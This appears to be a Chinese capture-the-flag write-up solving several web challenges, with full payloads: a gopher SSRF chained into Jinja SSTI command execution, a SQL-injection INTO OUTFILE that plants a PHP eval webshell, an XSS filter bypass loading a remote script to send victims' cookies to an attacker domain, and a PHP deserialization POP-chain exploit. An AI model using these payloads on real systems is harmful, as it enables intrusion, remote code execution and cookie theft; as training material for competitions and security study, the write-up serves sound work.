当你站在这里的时候,已经证明了你的毅力
武功秘籍
题目意思很明显了,要我们去找CVE
根据网站的dcrcms搜索漏洞
这里就考察自己的信息搜集能力

我们找到一个文件上传漏洞
但这个神人csdn需要VIP才能看,我们换一篇文章文件上传漏洞
但是需要登录后台才行
我们看看登录面板,如果没有SQL注入的话多半就是弱口令或者提示你哪里有账号密码

这里提示我们是弱口令,直接admin/admin登陆成功
接下来按着文章复现即可,我就不再多说
ssti在哪里?
题目给了三个附件
两个python的flask,以及一个php
分析源码,发现存在5000和5001端口,访问关系正常为5000端口POST请求传入name参数,然后通过5001端口请求显示
对本题目来说我们可以直接向5001端口发送请求即可,毕竟能访问5000也就不需要访问5001了,5001的端口监听为localhost,所以构造向localhost:5001访问的ssti模板注入就行
php部分很明显的ssrf漏洞
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['url'])) {$url = $_POST['url'];$ch = curl_init();//配置curlcurl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 10);$result = curl_exec($ch);curl_close($ch);
}?>
我们使用Gopher协议去构造发送5001的带有模板注入的数据包
什么是Gopher协议?Gopher
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
payload:
gopher://localhost:5001/_POST%20/%20HTTP/1.1%0D%0AHost:%20localhost:5001%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2018%0D%0A%0D%0Atemplate={{7*7}}
然后把{{7*7}}改成你自己的payload就可以命令执行了
记得修改前面的content-lenth要符合数据包结构
flag在环境变量里
最后的POC
POST / HTTP/1.1
Host: 39.106.48.123:27711
Origin: http://39.106.48.123:27711
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Referer: http://39.106.48.123:27711/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Content-Length: 5url=gopher%3A%2F%2Flocalhost%3A5001%2F_POST%2520%2F%2520HTTP%2F1.1%250D%250AHost%3A%2520localhost%3A5001%250D%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%3A%252091%250D%250A%250D%250Atemplate%3D%7B%7B+lipsum.__globals__%5B%27__builtins__%27%5D%5B%27__import__%27%5D%28%27os%27%29.popen%28%27env%27%29.read%28%29+%7D%7D
sqlupload
下载附件里面有个readflag.c
而且start.sh的特意配置secure_file_priv为空,也就是很明显需要我们去执行命令
那么我们肯定就是要写websehll了
getfileflist.php很明显存在sql注入漏洞
try {$mysqli = new mysqli($DB_HOST, $DB_USER, $DB_PASS, $DB_NAME, (int)$DB_PORT);if ($mysqli->connect_errno) {json_error('数据库连接失败: ' . $mysqli->connect_error, 500);}$mysqli->set_charset('utf8mb4');$order = $_GET['order'] ?? "upload_time";if (!preg_match("/upload_time|id/", $order)) {json_error("非法的 order 参数", 400);}$sql = "SELECT id, filename, upload_timeFROM uploadsORDER BY $order";$result = $mysqli->query($sql);
那么我们思路是先上传一个名字是一句话木马的文件
然后查询文件列表,把查询结果写入webshell.php
POC
POST /upload.php HTTP/1.1
Host: eci-2zeczqrwofz8eg3f4w5q.cloudeci1.ichunqiu.com:80
Connection: keep-alive
Content-Length: 223
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZpPbx5DxG6ykUyHT
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://eci-2zeczqrwofz8eg3f4w5q.cloudeci1.ichunqiu.com:80
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://eci-2zeczqrwofz8eg3f4w5q.cloudeci1.ichunqiu.com:80/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9------WebKitFormBoundaryZpPbx5DxG6ykUyHT
Content-Disposition: form-data; name="file"; filename="<?php @eval($_POST['123']); ?>"
Content-Type: application/octet-stream<?php @eval($_POST['123']); ?>
------WebKitFormBoundaryZpPbx5DxG6ykUyHT--
GET /getFileList.php?order=id+INTO+OUTFILE+'/var/www/html/shell.php' HTTP/1.1
Host: eci-2zeczqrwofz8eg3f4w5q.cloudeci1.ichunqiu.com:80
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,*/*
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://eci-2zeczqrwofz8eg3f4w5q.cloudeci1.ichunqiu.com:80/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
小E的留言板
根据题目描述很明显是考XSS

什么是XSS?
XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览改页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等。
那我们的目的就是插入payload,使得受害者的cookie返回到我们的机器上
经过测试我们发现部分关键词会被置空,这里我们采用双写绕过
可以使用html实体编码绕过<
payload
" autofofocuscus oonnfofocuscus="var s=document.createElement('scrscriptipt');s.src='https://此处为你注册得到的domain';document.head.appendChild(s)
最后用户访问页面返回cookie数据

payload里面的https://此处为你注册得到的domain
需要你自己去找XSS平台或者自己搭建一个,要确保别人能够访问到
关于XSS更多学习地方xss从0到1
小羊走迷宫
题目考点是php反序列化
什么是php反序化?
PHP 反序列化基础原理
序列化与反序列化的概念
在 PHP 中,序列化 (Serialization)是将对象的状态信息转化为可存储或传输的形式(通常是字符串)的过程。而反序列化 (Deserialization) 则是将序列化后的字符串重新转换回对象的过程。这两个过程相辅相成,为数据的存储和传输提供了便利。
PHP 提供了两个主要函数来处理序列化和反序列化:
serialize():将对象转换为字符串unserialize():将字符串转换回对象
序列化的主要目的是:
将对象状态保存在文件或数据库中
将对象进行远程传输(如前后端交互发送数据)
序列化的实现方式
让我们通过一个简单的示例来理解 PHP 序列化的工作原理:
class Test {public $flag = "flag{*****}";public $name = "lang";public $age = 10;
}$test1 = new Test();
$test1->flag = true;
$test1->name = "xiaoming";
$test1->age = 20;// 序列化对象
echo serialize($test1);
运行上述代码会输出以下序列化字符串:
O:4:"Test":3:{s:4:"flag";b:1;s:4:"name";s:8:"xiaoming";s:3:"age";i:20;}
这个字符串的结构解析如下:
O:表示对象类型
4:类名长度(“Test” 是 4 个字符)
"Test":类名
3:对象属性数量
每个属性由s(字符串)、b(布尔)或i(整数)开头,后跟属性名和值
访问控制修饰符对序列化的影响
PHP 中的访问控制修饰符(public、protected、private)会影响序列化后的字符串格式:
class Test {public $publicProp = "public";protected $protectedProp = "protected";private $privateProp = "private";
}$test = new Test();
echo serialize($test);
输出结果为:
O:4:"Test":3:{s:10:"publicProp";s:6:"public";s:16:"*protectedProp";s:9:"protected";s:17:"TestprivateProp";s:7:"private";}
注意观察不同访问修饰符的处理方式:
public 属性保持原样
protected 属性被序列化为属性名格式(前面有一个空字符)
private 属性被序列化为类名属性名格式(前后都有空字符)
这些空字符在 URL 编码中会表示为%00,例如%00*%00protectedProp和%00Test%00privateProp。
反序列化过程
反序列化是序列化的逆过程,使用unserialize()函数:
$serialized = 'O:4:"Test":3:{s:4:"flag";b:1;s:4:"name";s:5:"zhang";s:3:"age";i:20;}';
$obj = unserialize($serialized);
var_dump($obj);
输出结果为:
object(Test){["flag"]=>bool(true)["name"]=>string(5) "zhang"["age"]=>int(20)
}
反序列化过程不仅恢复对象的属性值,还会重新建立对象的内部状态。这一过程看似简单,但正是反序列化漏洞的根源。
引用:CSDN-php反序列化基础
而这道题是pop链,我们需要像一条链子一样一步一步找到道路去到达最后存在漏洞的地方去执行恶意代码
分析源码:经典的PHP反序列化题目,首先需要传入ma_ze.path,然后base64解码反序列化得到flag,根据已知源码和PHP魔术方法(不熟悉的可以自行百度,一搜一大堆文章介绍)可以得到调用链为:
startPoint类的__wakeup方法--SaySomething类的__invoke方法--Treasure类的__toString方法--Treasure类的__get方法--endPoint类的__call方法--flag
知识点1:参数绕过的知识点:$_GET['ma_ze.path']
==> PHP 变量命名规则:PHP 的变量名不能包含小数点 .,因为小数点在 PHP 中是无效的变量名字符。为了处理这种情况,PHP 在解析请求参数时会自动将参数名中的 . 替换为 _。
但是,如果已经前面有一个中括号 [ 转变为下划线 _ 了,下一个小数点就不会转变了。
==> ma[ze.path
知识点2:伪协议读取文件
php://filter/read=convert.base64-encode/resource=flag.php
读取源代码并进行base64编码输出
开始构造调用链并赋值:
注意$this -> chest = $this;因为要先触发toString方法再触发get方法,所以不能实例化两次,可以用$this表明使用当前实例。
<?php
class startPoint{public $direction;function __construct(){//SaySomething.__invoke()$this -> direction = new SaySomething();}
}
class Treasure{protected $door;protected $chest;function __construct(){//Treasure.__get()$this -> chest = $this;//endPoint.__call()$this -> door = new endPoint();}function __get($arg){echo "拿到钥匙咯,开门! ";$this -> door -> open();}function __toString(){echo "小羊真可爱! ";return $this -> chest -> key;}
}
class SaySomething{public $sth;function __construct(){//Treasure.__toString()$this -> sth = new Treasure();}
}
class endPoint{private $path;function __construct(){//flag.php$this -> path = 'php://filter/read=convert.base64-encode/resource=flag.php';}
}$exp = new startPoint();
echo "ma[ze.path=".base64_encode(serialize($exp));
?>
执行输出payload:
ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUi